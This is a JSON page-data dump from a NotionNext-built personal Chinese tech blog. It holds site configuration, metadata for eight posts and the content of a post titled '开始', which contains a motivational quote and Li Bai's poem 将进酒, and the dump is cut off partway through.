+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf":{"value":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","version":226,"type":"page","content":["b33f1eb2-42c7-46e0-8f18-cc90501a4613","efb3a44e-b8e8-4a98-a9d6-39b6ca1c4ac4","f8c38272-129a-49f2-91f3-150812588f32","2d2f576f-7b74-4e78-b23d-2383f0c2bc91","53ad423b-75f6-4585-9139-ffab1180f2e0","a1bbce14-f046-495a-8d32-5fb357639122","12c9b40b-cb5f-4bc4-b346-b28b46f9ea5f"],"format":{"page_font":"serif","page_icon":"🏐","page_cover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"9d36e2f8-7b91-4160-9786-0a0bd635e859","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337113,"last_edited_time":1705655724923,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"9d36e2f8-7b91-4160-9786-0a0bd635e859","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"b33f1eb2-42c7-46e0-8f18-cc90501a4613":{"value":{"id":"b33f1eb2-42c7-46e0-8f18-cc90501a4613","type":"header","properties":{"title":[["起始"]]},"format":{"copied_from_pointer":{"id":"eb8b6697-cce1-41c4-be07-ac04b269a695","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705630363962,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"eb8b6697-cce1-41c4-be07-ac04b269a695"}},"efb3a44e-b8e8-4a98-a9d6-39b6ca1c4ac4":{"value":{"id":"efb3a44e-b8e8-4a98-a9d6-39b6ca1c4ac4","type":"quote","properties":{"title":[["慢也好,步子小也好,是在往前走就好"]]},"format":{"copied_from_pointer":{"id":"058f5d19-ff15-4ed1-aa36-2def2a2337c7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337127,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705632265977,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"058f5d19-ff15-4ed1-aa36-2def2a2337c7"}},"f8c38272-129a-49f2-91f3-150812588f32":{"value":{"id":"f8c38272-129a-49f2-91f3-150812588f32","type":"callout","properties":{"title":[["生活的意义并不是与他人争高下,而在于享受努力实现目标的过程,结果只是对自己行动的嘉奖。"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"7f01b446-59ba-4181-9ec4-385151a4d4fc","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337131,"last_edited_time":1705594337131,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"7f01b446-59ba-4181-9ec4-385151a4d4fc"}},"2d2f576f-7b74-4e78-b23d-2383f0c2bc91":{"value":{"id":"2d2f576f-7b74-4e78-b23d-2383f0c2bc91","type":"header","properties":{"title":[["将进酒",[["b"]]]]},"format":{"copied_from_pointer":{"id":"6ec2b9c9-676c-443b-a750-0f16382c916a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337130,"last_edited_time":1705655727454,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"6ec2b9c9-676c-443b-a750-0f16382c916a"}},"53ad423b-75f6-4585-9139-ffab1180f2e0":{"value":{"id":"53ad423b-75f6-4585-9139-ffab1180f2e0","type":"text","properties":{"title":[["李白〔唐代〕"]]},"format":{"copied_from_pointer":{"id":"8b602d31-20c9-409f-8fb8-c98f5836c1e7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337134,"last_edited_time":1705630515910,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"8b602d31-20c9-409f-8fb8-c98f5836c1e7"}},"a1bbce14-f046-495a-8d32-5fb357639122":{"value":{"id":"a1bbce14-f046-495a-8d32-5fb357639122","type":"text","properties":{"title":[["君不见黄河之水天上来,奔流到海不复回。\n君不见高堂明镜悲白发,朝如青丝暮成雪。\n人生得意须尽欢,莫使金樽空对月。\n天生我材必有用,千金散尽还复来。\n烹羊宰牛且为乐,会须一饮三百杯。\n岑夫子,丹丘生,将进酒,杯莫停。\n与君歌一曲,请君为我倾耳听。\n钟鼓馔玉不足贵,但愿长醉不愿醒。\n古来圣贤皆寂寞,惟有饮者留其名。\n陈王昔时宴平乐,斗酒十千恣欢谑。\n主人何为言少钱,径须沽取对君酌。\n五花马、千金裘,呼儿将出换美酒,与尔同销万古愁。"]]},"format":{"copied_from_pointer":{"id":"e48a3c2b-90fa-4a2e-a352-04d028c9752a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"e48a3c2b-90fa-4a2e-a352-04d028c9752a"}},"12c9b40b-cb5f-4bc4-b346-b28b46f9ea5f":{"value":{"id":"12c9b40b-cb5f-4bc4-b346-b28b46f9ea5f","type":"text","created_time":1705630517913,"last_edited_time":1705630517915,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa